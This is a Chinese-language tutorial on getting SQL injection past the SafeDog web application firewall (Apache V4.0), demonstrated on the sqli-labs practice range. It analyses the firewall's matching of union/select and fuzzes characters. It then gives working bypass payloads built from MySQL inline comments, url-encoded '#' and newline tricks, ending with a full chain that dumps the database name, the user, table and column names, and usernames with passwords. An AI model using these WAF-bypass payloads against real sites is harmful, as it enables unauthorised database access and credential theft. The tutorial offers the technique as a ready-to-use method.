什么，有狗快跑！慢着，这次手把手教你怎么过安全狗！（sql注入篇）

前言

在记忆里上次绕安全狗还是在上次，开开心心把自己之前绕过狗的payload拿出来，发现全部被拦截了，事情一下子就严肃起来了，这就开整。

 

 

环境

本次环境如下sqli-lab的sql注入靶场
网站安全狗APACHE版V4.0版本的最高防护等级

 

绕过方法

首先先来分析分析以前以前绕过的Payload

-1' union/*!10440*/select 1,2,3--+

其中这里的10440数字经过fuzz可以替换的有如下

10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等

但是在更新后的安全狗后这些payload已经全部被拦截

 

 

 

 

 

到这就不得不提提安全狗之前的匹配规则了，我们单独union不会被拦

 

 单独select也不会被拦截

 

 

 

但是union和select放一起组合就会被匹配出来，然后被安全狗所拦截

 

 

 

基于这个特性，我们利用之前的payload

-1' union/*!10440*/select 1,2,3--+

是可以绕过老版本的安全狗的，这里在union和select中间加入了一个/\*!10440\*/，众所周知在mysql中/\*!...\*/不是注释，mysql为了保持兼容，它把一些特有的仅在mysql上用的语句放在/\*!...\*/中，这样这些语句如果在其他数据库中是不会被执行，但在mysql中它会执行

 

所以union/\*!10440\*/select等价于union select,且绕过了安全狗对union和select字符一起组合的检测

 

 

 

 

 

但是安全狗更新之后，所有的payload都已经失效，那么我们猜测一下，安全狗更新后是不是匹配union和select之间所有的字符，匹配到之后用空字符替换，再检测是否存在union select组合，为了验证这个猜测我们对我们的payload进行fuzz验证一下

 

跑了一些特殊的字符发现都被拦截

 

 

 

但是唯独有一个符号没有被返回的length长度不一样

 

 

 

按我们看看这个'#'会擦出什么爱情的火花

我们利用如下语句

?id=-1' union/*!test01#test02*/select 1,2,3--+

 

 

 

此处我们搞清楚一个流程，我们的语句发送过去，首先接收安全狗检测，安全狗检测到'#'号，所以'\#'后面的都会被截断抛弃，所以安全狗只能匹配到'\#'前的union，但是没匹配到'\#'后的select，所以通过安全狗。在通过安全狗后我们的语句被数据库接收，数据库此处处理过程和安全狗处理流程一样，都是只能匹配到'\#'前的union，但是没匹配到'\#'后的select，最终导致语句不完整导致最后的报错。

 

说到这里我们究竟要怎么去绕过这个可恶的安全狗呢，我们想象这么一个场景，首先我们的'\#'被安全狗识别，但是在我们的SQL语句中并不识别这个'\#'，这样我们就可以达到绕过安全狗而且保持正确的SQL语句来实现我么的注入。

 

我们来看下下面两语句

SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;

 

 

 

 

 

此处SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出来一个空表

所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相当于select * FROM number；

该语句是存在一个LIKE "[%23]"，也正是这个LIKE "[%23]"让我们的SELECT * FROM number WHERE home_id =1成为一个空表。

 

 

 

 

 

 

那么这个语句有什么用的，可以发现我们的LIKE "[%23]"中有一个%23，众所周知\#的url编码是%23，那么这条语句带入到安全狗中，安全狗会不会识别这个\#呢，带着这样的猜想我们构造如下payload。

-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

 

 

呜呜呜，还是被拦截了，吹牛逼吹了这么久，白吹了。

但是我这种阳光、帅气、善解人意且坚持不懈的小伙子会这么容易就放弃吗，显然不会，后面猜测是/\*!10440union select\*/中的union select被检测出来了，所以在union select中间下了点功夫，最终payload如下

-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

 

 

奈何无文化，一句卧槽走天下。

最后总结下安全狗的检测机制

首先整体语句做一个检测，这个检测也是最强最牛X的

'\#'后的语句虽然被截断，但截断之后并不是和我们最初想的那样完全不检测，'\#'截断的语句还是会被检测，只是检测规则相比第一次不同且相比第一次检测强度相比较弱，所以我们可以对其进行绕过。

当然除了like关键字，我们还可以使用如下payload

-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+

知道了这个特性接下来就，那就用这一招打过天下无敌手

爆数据库名和用户名

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+

 

 

 

爆表名

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+

 

 

 

爆字段

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+

 

 

 

爆字段中的值

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+

 

 

总结

1、内联yyds

2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/，有奇效。